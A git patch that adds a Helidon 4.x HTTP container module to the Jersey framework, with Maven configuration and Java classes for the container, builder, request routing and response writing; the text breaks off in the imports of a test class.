From 9879938e3ba2eaa06fc3e2e54f2b8cdbbe5d121d Mon Sep 17 00:00:00 2001 From: Maxim Nesen Date: Wed, 12 Jun 2024 15:01:31 +0200 Subject: [PATCH 1/2] Helidon 4.x container Signed-off-by: Maxim Nesen --- containers/helidon/pom.xml | 103 ++++++ .../jersey/helidon/HelidonHttpContainer.java | 111 ++++++ .../helidon/HelidonHttpContainerBinder.java | 61 +++ .../helidon/HelidonHttpContainerBuilder.java | 201 ++++++++++ .../helidon/HelidonHttpContainerProvider.java | 32 ++ .../jersey/helidon/HelidonJerseyBridge.java | 52 +++ .../helidon/HelidonJerseyRoutingService.java | 350 ++++++++++++++++++ .../jersey/helidon/package-info.java | 20 + ...ssfish.jersey.server.spi.ContainerProvider | 1 + .../jersey/helidon/localization.properties | 17 + .../helidon/AbstractHelidonServerTester.java | 124 +++++++ .../glassfish/jersey/helidon/AsyncTest.java | 167 +++++++++ .../jersey/helidon/ExceptionTest.java | 96 +++++ .../glassfish/jersey/helidon/OptionsTest.java | 62 ++++ containers/pom.xml | 12 + etc/jenkins/Jenkinsfile_ci_build | 2 +- pom.xml | 1 + test-framework/providers/helidon-http/pom.xml | 48 +++ .../helidon/HelidonTestContainerFactory.java | 89 +++++ .../jersey/test/helidon/package-info.java | 22 ++ ...sfish.jersey.test.spi.TestContainerFactory | 1 + .../helidon/AvailablePortHelidonTest.java | 66 ++++ .../jersey/test/helidon/BaseUriTest.java | 73 ++++ .../test/helidon/HelidonContainerTest.java | 107 ++++++ test-framework/providers/pom.xml | 11 + 25 files changed, 1828 insertions(+), 1 deletion(-) create mode 100644 containers/helidon/pom.xml create mode 100644 containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainer.java create mode 100644 containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBinder.java create mode 100644 containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java create mode 100644 containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerProvider.java create mode 100644 containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyBridge.java create mode 100644 containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java create mode 100644 containers/helidon/src/main/java/org/glassfish/jersey/helidon/package-info.java create mode 100644 containers/helidon/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider create mode 100644 containers/helidon/src/main/resources/org/glassfish/jersey/helidon/localization.properties create mode 100644 containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java create mode 100644 containers/helidon/src/test/java/org/glassfish/jersey/helidon/AsyncTest.java create mode 100644 containers/helidon/src/test/java/org/glassfish/jersey/helidon/ExceptionTest.java create mode 100644 containers/helidon/src/test/java/org/glassfish/jersey/helidon/OptionsTest.java create mode 100644 test-framework/providers/helidon-http/pom.xml create mode 100644 test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/HelidonTestContainerFactory.java create mode 100644 test-framework/providers/helidon-http/src/main/java/org/glassfish/jersey/test/helidon/package-info.java create mode 100644 test-framework/providers/helidon-http/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory create mode 100644 test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/AvailablePortHelidonTest.java create mode 100644 test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/BaseUriTest.java create mode 100644 test-framework/providers/helidon-http/src/test/java/org/glassfish/jersey/test/helidon/HelidonContainerTest.java diff --git a/containers/helidon/pom.xml b/containers/helidon/pom.xml new file mode 100644 index 0000000000..a7ab87e663 --- /dev/null +++ b/containers/helidon/pom.xml @@ -0,0 +1,103 @@ + + + + + 4.0.0 + + + project + org.glassfish.jersey.containers + 3.1.99-SNAPSHOT + + + jersey-container-helidon-http + jar + jersey-container-helidon + + Helidon (4.x) HTTP Container + + + + jakarta.inject + jakarta.inject-api + + + jakarta.activation + jakarta.activation-api + test + + + io.helidon.webserver + helidon-webserver + ${helidon.container.version} + + + io.helidon.tracing + helidon-tracing + ${helidon.container.version} + + + io.helidon.http + helidon-http + ${helidon.container.version} + + + org.slf4j + slf4j-api + ${slf4j.version} + + + jakarta.servlet + jakarta.servlet-api + provided + + + org.hamcrest + hamcrest + test + + + org.apache.httpcomponents + httpclient + test + + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + + + + ${basedir}/src/main/resources + true + + + + diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainer.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainer.java new file mode 100644 index 0000000000..1c50f10c2d --- /dev/null +++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainer.java @@ -0,0 +1,111 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.helidon; + +import io.helidon.common.context.Context; +import io.helidon.common.tls.Tls; +import io.helidon.webserver.WebServer; +import io.helidon.webserver.WebServerConfig; +import jakarta.ws.rs.core.Application; +import org.glassfish.jersey.server.ApplicationHandler; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.Container; + +/** + * {@link Container} running on the Helidon {@link WebServer} core, supporting Jersey routing + * + * @since 3.1.8 + */ +public final class HelidonHttpContainer implements Container, WebServer { + + private WebServer webServer; + + private ApplicationHandler applicationHandler; + + private HelidonJerseyBridge bridge; + + HelidonHttpContainer(Application application, HelidonJerseyBridge bridge) { + this.applicationHandler = new ApplicationHandler(application, + new HelidonHttpContainerBinder(), bridge.getParentContext()); + this.bridge = bridge; + webServer = bridge.getBuilder().build(); + bridge.setContainer(this); + } + + @Override + public ResourceConfig getConfiguration() { + return applicationHandler.getConfiguration(); + } + + @Override + public ApplicationHandler getApplicationHandler() { + return applicationHandler; + } + + @Override + public void reload() { + reload(new ResourceConfig(getConfiguration())); + } + + @Override + public void reload(ResourceConfig configuration) { + //Helidon container does not support reload + throw new IllegalStateException(LocalizationMessages.RELOAD_NOT_SUPPORTED()); + } + + @Override + public WebServer start() { + webServer.start(); + return this; + } + + @Override + public WebServer stop() { + webServer.stop(); + return this; + } + + @Override + public boolean isRunning() { + return webServer.isRunning(); + } + + @Override + public int port(String socketName) { + return webServer.port(socketName); + } + + @Override + public Context context() { + return webServer.context(); + } + + @Override + public boolean hasTls(String socketName) { + return webServer.hasTls(socketName); + } + + @Override + public void reloadTls(String socketName, Tls tls) { + webServer.reloadTls(socketName, tls); + } + + @Override + public WebServerConfig prototype() { + return webServer.prototype(); + } +} diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBinder.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBinder.java new file mode 100644 index 0000000000..ab3118c98d --- /dev/null +++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBinder.java @@ -0,0 +1,61 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.helidon; + +import io.helidon.webserver.http.ServerRequest; +import io.helidon.webserver.http.ServerResponse; +import jakarta.inject.Inject; +import jakarta.inject.Provider; +import jakarta.ws.rs.core.GenericType; +import org.glassfish.jersey.internal.inject.AbstractBinder; +import org.glassfish.jersey.internal.inject.ReferencingFactory; +import org.glassfish.jersey.internal.util.collection.Ref; +import org.glassfish.jersey.process.internal.RequestScoped; + +class HelidonHttpContainerBinder extends AbstractBinder { + @Override + protected void configure() { + bindFactory(WebServerRequestReferencingFactory.class).to(ServerRequest.class) + .proxy(true).proxyForSameScope(false) + .in(RequestScoped.class); + bindFactory(ReferencingFactory.referenceFactory()).to(new GenericType>() { }) + .in(RequestScoped.class); + + bindFactory(WebServerResponseReferencingFactory.class).to(ServerResponse.class) + .proxy(true).proxyForSameScope(false) + .in(RequestScoped.class); + bindFactory(ReferencingFactory.referenceFactory()).to(new GenericType>() { }) + .in(RequestScoped.class); + } + + private static class WebServerRequestReferencingFactory extends ReferencingFactory { + + @Inject + WebServerRequestReferencingFactory(final Provider> referenceFactory) { + super(referenceFactory); + } + } + + private static class WebServerResponseReferencingFactory extends ReferencingFactory { + + @Inject + WebServerResponseReferencingFactory(final Provider> referenceFactory) { + super(referenceFactory); + } + } +} + diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java new file mode 100644 index 0000000000..c9d1d35ac1 --- /dev/null +++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerBuilder.java @@ -0,0 +1,201 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + * + */ + +package org.glassfish.jersey.helidon; + +import io.helidon.common.tls.Tls; +import io.helidon.common.tls.TlsConfig; +import io.helidon.webserver.WebServerConfig; +import io.helidon.webserver.http.HttpRouting; +import jakarta.ws.rs.core.Application; + +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLParameters; +import java.net.URI; + +/** + * Helidon container builder. + * Shall be used to create any instance of the {@link HelidonHttpContainer} + * + * gives access to the inner {@link WebServerConfig.Builder} which provides possibility of better fine-tune + * of the container. + * + * @since 3.1.8 + */ +public class HelidonHttpContainerBuilder { + + private URI baseUri; + + private Application application; + + private String path; + + private Tls tls; + + private final WebServerConfig.Builder webServerBuilder; + + private final HelidonJerseyBridge bridge; + + private SSLParameters sslParameters; + + private SSLContext sslContext; + + private static final int DEFAULT_PORT = 8080; + + private HelidonHttpContainerBuilder() { + bridge = new HelidonJerseyBridge(); + webServerBuilder = bridge.getBuilder(); + } + + public WebServerConfig.Builder helidonBuilder() { + return webServerBuilder; + } + + + public static HelidonHttpContainerBuilder builder() { + return new HelidonHttpContainerBuilder(); + } + + public HelidonHttpContainerBuilder uri(URI baseUri) { + this.baseUri = baseUri; + return this; + } + + public URI uri() { + return this.baseUri; + } + + public HelidonHttpContainerBuilder application(Application application) { + this.application = application; + return this; + } + + public Application application() { + return this.application; + } + + public HelidonHttpContainerBuilder path(String path) { + this.path = path; + return this; + } + + public String path() { + return this.path; + } + + public HelidonHttpContainerBuilder sslParameters(SSLParameters sslParameters) { + this.sslParameters = sslParameters; + return this; + } + + public SSLParameters sslParameters() { + return this.sslParameters; + } + + public HelidonHttpContainerBuilder sslContext(SSLContext sslContext) { + this.sslContext = sslContext; + return this; + } + + public SSLContext sslContext() { + return this.sslContext; + } + + public HelidonHttpContainerBuilder port(int port) { + webServerBuilder.port(port); + return this; + } + + public HelidonHttpContainerBuilder host(String host) { + webServerBuilder.host(host); + return this; + } + + public HelidonHttpContainerBuilder parentContext(Object parentContext) { + bridge.setParentContext(parentContext); + return this; + } + + public Object parentContext() { + return bridge.getParentContext(); + } + + public HelidonHttpContainer build() { + configureBaseUri(); + webServerBuilder.routing(configureRouting()); + this.tls = configureTls(); + if (this.tls != null) { + webServerBuilder.tls(this.tls); + } + return new HelidonHttpContainer(application, bridge); + } + + private TlsConfig.Builder addSSLParameterss(TlsConfig.Builder builder) { + if (sslParameters != null) { + return builder.sslParameters(sslParameters); + } + return builder; + } + + private TlsConfig.Builder addSSLContext(TlsConfig.Builder builder) { + if (sslContext != null) { + return builder.sslContext(sslContext); + } + return builder; + } + + private Tls configureTls() { + if (this.tls == null + && (sslParameters != null || sslContext != null)) { + this.tls = addSSLParameterss( + addSSLContext( + TlsConfig.builder()) + ).build(); + } + return this.tls; + } + + private HttpRouting.Builder configureRouting() { + + final HttpRouting.Builder builder = HttpRouting.builder(); + final HelidonJerseyRoutingService support = HelidonJerseyRoutingService.create(this.bridge); + if (path != null) { + builder.register(path, support); + } else if (baseUri != null && baseUri.getPath() != null) { + builder.register(baseUri.getPath(), support); + } else { + builder.register(support); + } + + return builder; + } + + private void configureBaseUri() { + if (baseUri != null) { + webServerBuilder + .host(baseUri.getHost()) + .port(baseUri.getPort()); + } else { + if (webServerBuilder.port() < 0) { + webServerBuilder.port(DEFAULT_PORT); + } + + } + + } + +} diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerProvider.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerProvider.java new file mode 100644 index 0000000000..8e9bea7f26 --- /dev/null +++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonHttpContainerProvider.java @@ -0,0 +1,32 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.helidon; + +import io.helidon.webserver.WebServer; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; +import org.glassfish.jersey.server.spi.ContainerProvider; + +public class HelidonHttpContainerProvider implements ContainerProvider { + @Override + public T createContainer(Class type, Application application) throws ProcessingException { + if (type != WebServer.class && type != HelidonHttpContainer.class) { + return null; + } + return type.cast(new HelidonHttpContainer(application, new HelidonJerseyBridge())); + } +} diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyBridge.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyBridge.java new file mode 100644 index 0000000000..8c3a879dee --- /dev/null +++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyBridge.java @@ -0,0 +1,52 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + * + */ + +package org.glassfish.jersey.helidon; + +import io.helidon.webserver.WebServerConfig; +import org.glassfish.jersey.server.spi.Container; + +/** + * POJO utility class which provides backwards connectivity from the Jersey Routing service to the Container + */ +class HelidonJerseyBridge { + private final WebServerConfig.Builder builder = WebServerConfig.builder(); + + private Container container; + + private Object parentContext; + + public WebServerConfig.Builder getBuilder() { + return builder; + } + + public Container getContainer() { + return container; + } + + public void setContainer(Container container) { + this.container = container; + } + + public Object getParentContext() { + return parentContext; + } + + public void setParentContext(Object parentContext) { + this.parentContext = parentContext; + } +} diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java new file mode 100644 index 0000000000..52e0c5be7d --- /dev/null +++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/HelidonJerseyRoutingService.java @@ -0,0 +1,350 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.helidon; + + +import io.helidon.common.context.Context; +import io.helidon.common.context.Contexts; +import io.helidon.common.uri.UriInfo; +import io.helidon.common.uri.UriPath; +import io.helidon.http.Header; +import io.helidon.http.HeaderNames; +import io.helidon.http.HeaderValues; +import io.helidon.http.InternalServerException; +import io.helidon.http.Status; +import io.helidon.webserver.KeyPerformanceIndicatorSupport; +import io.helidon.webserver.http.HttpRules; +import io.helidon.webserver.http.HttpService; +import io.helidon.webserver.http.RoutingResponse; +import io.helidon.webserver.http.ServerRequest; +import io.helidon.webserver.http.ServerResponse; +import jakarta.ws.rs.NotFoundException; +import jakarta.ws.rs.core.GenericType; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.SecurityContext; +import org.glassfish.jersey.internal.MapPropertiesDelegate; +import org.glassfish.jersey.internal.inject.InjectionManager; +import org.glassfish.jersey.internal.util.collection.Ref; +import org.glassfish.jersey.server.ApplicationHandler; +import org.glassfish.jersey.server.ContainerException; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.ContainerResponseWriter; + +import java.io.IOException; +import java.io.OutputStream; +import java.io.UncheckedIOException; +import java.lang.reflect.Type; +import java.net.URI; +import java.security.Principal; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.WeakHashMap; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.function.Supplier; + +/** + * + * The code is inspired by the Helidon 3.x JerseySupport class and the Helidon 4.x JaxRsService class + * Current class is a combination of those 2 classes adopted for Jersey needs + * + */ +class HelidonJerseyRoutingService implements HttpService { + + private static final System.Logger LOGGER = System.getLogger(HelidonJerseyRoutingService.class.getName()); + private static final Type REQUEST_TYPE = (new GenericType>() { }).getType(); + private static final Type RESPONSE_TYPE = (new GenericType>() { }).getType(); + private static final Set INJECTION_MANAGERS = Collections.newSetFromMap(new WeakHashMap<>()); + + private final HelidonJerseyBridge bridge; + private HelidonJerseyRoutingService(HelidonJerseyBridge bridge) { + this.bridge = bridge; + } + + static HelidonJerseyRoutingService create(HelidonJerseyBridge bridge) { + return new HelidonJerseyRoutingService(bridge); + } + + private static String basePath(UriPath path) { + final String reqPath = path.path(); + final String absPath = path.absolute().path(); + final String basePath = absPath.substring(0, absPath.length() - reqPath.length() + 1); + + if (absPath.isEmpty() || basePath.isEmpty()) { + return "/"; + } else if (basePath.charAt(basePath.length() - 1) != '/') { + return basePath + "/"; + } else { + return basePath; + } + } + + private ApplicationHandler appHandler() { + return bridge.getContainer().getApplicationHandler(); + } + + private Container container() { + return bridge.getContainer(); + } + + @Override + public void routing(HttpRules rules) { + rules.any(this::handle); + } + + @Override + public void beforeStart() { + appHandler().onStartup(container()); + INJECTION_MANAGERS.add(appHandler().getInjectionManager()); + } + + @Override + public void afterStop() { + try { + final InjectionManager ij = appHandler().getInjectionManager(); + if (INJECTION_MANAGERS.remove(ij)) { + appHandler().onShutdown(bridge.getContainer()); + } + } catch (Exception e) { + if (LOGGER.isLoggable(System.Logger.Level.DEBUG)) { + LOGGER.log(System.Logger.Level.DEBUG, "Exception during shutdown of Jersey", e); + } + LOGGER.log(System.Logger.Level.WARNING, "Exception while shutting down Jersey's application handler " + + e.getMessage()); + } + } + + private void handle(final ServerRequest req, final ServerResponse res) { + final Context context = req.context(); + + // make these available in context for ServerCdiExtension + context.supply(ServerRequest.class, () -> req); + context.supply(ServerResponse.class, () -> res); + + // call doHandle in active context + Contexts.runInContext(context, () -> doHandle(context, req, res)); + } + + private void doHandle(final Context ctx, final ServerRequest req, final ServerResponse res) { + final BaseUriRequestUri uris = BaseUriRequestUri.resolve(req); + final ContainerRequest requestContext = new ContainerRequest(uris.baseUri, + uris.requestUri, + req.prologue().method().text(), + new HelidonMpSecurityContext(), + new MapPropertiesDelegate(), + container().getConfiguration()); + /* + MP CORS supports needs a way to obtain the UriInfo from the request context. + */ + requestContext.setProperty(UriInfo.class.getName(), ((Supplier) req::requestedUri)); + + for (final Header header : req.headers()) { + requestContext.headers(header.name(), + header.allValues()); + } + + final JaxRsResponseWriter writer = new JaxRsResponseWriter(res); + requestContext.setWriter(writer); + requestContext.setEntityStream(req.content().inputStream()); + requestContext.setProperty("io.helidon.jaxrs.remote-host", req.remotePeer().host()); + requestContext.setProperty("io.helidon.jaxrs.remote-port", req.remotePeer().port()); + requestContext.setRequestScopedInitializer(ij -> { + ij.>getInstance(REQUEST_TYPE).set(req); + ij.>getInstance(RESPONSE_TYPE).set(res); + }); + + final Optional kpiMetricsContext = + req.context().get(KeyPerformanceIndicatorSupport.DeferrableRequestContext.class); + if (LOGGER.isLoggable(System.Logger.Level.TRACE)) { + LOGGER.log(System.Logger.Level.TRACE, "[" + req.serverSocketId() + + " " + req.socketId() + "] Handling in Jersey started"); + } + + ctx.register(container().getConfiguration()); + + try { + kpiMetricsContext.ifPresent(KeyPerformanceIndicatorSupport.DeferrableRequestContext::requestProcessingStarted); + appHandler().handle(requestContext); + writer.await(); + if (res.status() == Status.NOT_FOUND_404 && requestContext.getUriInfo().getMatchedResourceMethod() == null) { + // Jersey will not throw an exception, it will complete the request - but we must + // continue looking for the next route + // this is a tricky piece of code - the next can only be called if reset was successful + // reset may be impossible if data has already been written over the network + if (res instanceof RoutingResponse) { + final RoutingResponse routing = (RoutingResponse) res; + if (routing.reset()) { + res.status(Status.OK_200); + routing.next(); + } + } + } + } catch (UncheckedIOException e) { + throw e; + } catch (io.helidon.http.NotFoundException | NotFoundException e) { + // continue execution, maybe there is a non-JAX-RS route (such as static content) + res.next(); + } catch (Exception e) { + throw new InternalServerException("Internal exception in JAX-RS processing", e); + } + } + + private static class HelidonMpSecurityContext implements SecurityContext { + @Override + public Principal getUserPrincipal() { + return null; + } + + @Override + public boolean isUserInRole(String role) { + return false; + } + + @Override + public boolean isSecure() { + return false; + } + + @Override + public String getAuthenticationScheme() { + return null; + } + } + + private static class JaxRsResponseWriter implements ContainerResponseWriter { + private final CountDownLatch cdl = new CountDownLatch(1); + private final ServerResponse res; + private OutputStream outputStream; + + private JaxRsResponseWriter(ServerResponse res) { + this.res = res; + } + + @Override + public OutputStream writeResponseStatusAndHeaders(long contentLengthParam, + ContainerResponse containerResponse) throws ContainerException { + long contentLength = contentLengthParam; + if (contentLength <= 0) { + String headerString = containerResponse.getHeaderString("Content-Length"); + if (headerString != null) { + contentLength = Long.parseLong(headerString); + } + } + for (Map.Entry> entry : containerResponse.getStringHeaders().entrySet()) { + String name = entry.getKey(); + List values = entry.getValue(); + if (values.size() == 1) { + res.header(HeaderValues.create(HeaderNames.create(name), values.get(0))); + } else { + res.header(HeaderValues.create(entry.getKey(), entry.getValue())); + } + } + Response.StatusType statusInfo = containerResponse.getStatusInfo(); + res.status(Status.create(statusInfo.getStatusCode(), statusInfo.getReasonPhrase())); + + if (contentLength > 0) { + res.header(HeaderValues.create(HeaderNames.CONTENT_LENGTH, String.valueOf(contentLength))); + } + this.outputStream = res.outputStream(); + return outputStream; + } + + @Override + public boolean suspend(long timeOut, TimeUnit timeUnit, TimeoutHandler timeoutHandler) { + if (timeOut != 0) { + try { + cdl.await(timeOut, timeUnit); + } catch (InterruptedException e) { + throw new RuntimeException(e); + } + timeoutHandler.onTimeout(this); + //throw new UnsupportedOperationException("Currently, time limited suspension is not supported!"); + } + return true; + } + + @Override + public void setSuspendTimeout(long l, TimeUnit timeUnit) throws IllegalStateException { + //throw new UnsupportedOperationException("Currently, extending the suspension time is not supported!"); + } + + @Override + public void commit() { + try { + if (outputStream == null) { + res.outputStream().close(); + } else { + outputStream.close(); + } + cdl.countDown(); + } catch (IOException e) { + cdl.countDown(); + throw new UncheckedIOException(e); + } + } + + @Override + public void failure(Throwable throwable) { + cdl.countDown(); + + if (throwable instanceof RuntimeException) { + throw (RuntimeException) throwable; + } + throw new InternalServerException("Failed to process JAX-RS request", throwable); + } + + @Override + public boolean enableResponseBuffering() { + return true; // enable buffering in Jersey + } + + public void await() { + try { + cdl.await(); + } catch (InterruptedException e) { + throw new RuntimeException("Failed to wait for Jersey to write response"); + } + } + } + + private static class BaseUriRequestUri { + private final URI baseUri; + private final URI requestUri; + + private BaseUriRequestUri(URI baseUri, URI requestUri) { + this.baseUri = baseUri; + this.requestUri = requestUri; + } + + private static BaseUriRequestUri resolve(ServerRequest req) { + final String processedBasePath = basePath(req.path()); + final String rawPath = req.path().absolute().rawPath(); + final String prefix = (req.isSecure() ? "https" : "http") + "://" + req.authority(); + final String serverBasePath = prefix + processedBasePath; + String requestPath = prefix + rawPath; + if (!req.query().isEmpty()) { + requestPath = requestPath + "?" + req.query().rawValue(); + } + return new BaseUriRequestUri(URI.create(serverBasePath), URI.create(requestPath)); + } + } +} diff --git a/containers/helidon/src/main/java/org/glassfish/jersey/helidon/package-info.java b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/package-info.java new file mode 100644 index 0000000000..abe1d0c536 --- /dev/null +++ b/containers/helidon/src/main/java/org/glassfish/jersey/helidon/package-info.java @@ -0,0 +1,20 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Jersey Helidon 4.x container classes. + */ +package org.glassfish.jersey.helidon; diff --git a/containers/helidon/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/helidon/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider new file mode 100644 index 0000000000..bfb69f7deb --- /dev/null +++ b/containers/helidon/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider @@ -0,0 +1 @@ +org.glassfish.jersey.helidon.HelidonHttpContainerProvider \ No newline at end of file diff --git a/containers/helidon/src/main/resources/org/glassfish/jersey/helidon/localization.properties b/containers/helidon/src/main/resources/org/glassfish/jersey/helidon/localization.properties new file mode 100644 index 0000000000..9c888fdd81 --- /dev/null +++ b/containers/helidon/src/main/resources/org/glassfish/jersey/helidon/localization.properties @@ -0,0 +1,17 @@ +# +# Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +reload.not.supported=Server cannot be stopped and restarted, please create a new server \ No newline at end of file diff --git a/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java new file mode 100644 index 0000000000..046c73d117 --- /dev/null +++ b/containers/helidon/src/test/java/org/glassfish/jersey/helidon/AbstractHelidonServerTester.java @@ -0,0 +1,124 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.helidon; + +import io.helidon.webserver.WebServer; +import jakarta.ws.rs.RuntimeType; +import jakarta.ws.rs.core.UriBuilder; +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.junit.jupiter.api.AfterEach; + +import java.net.URI; 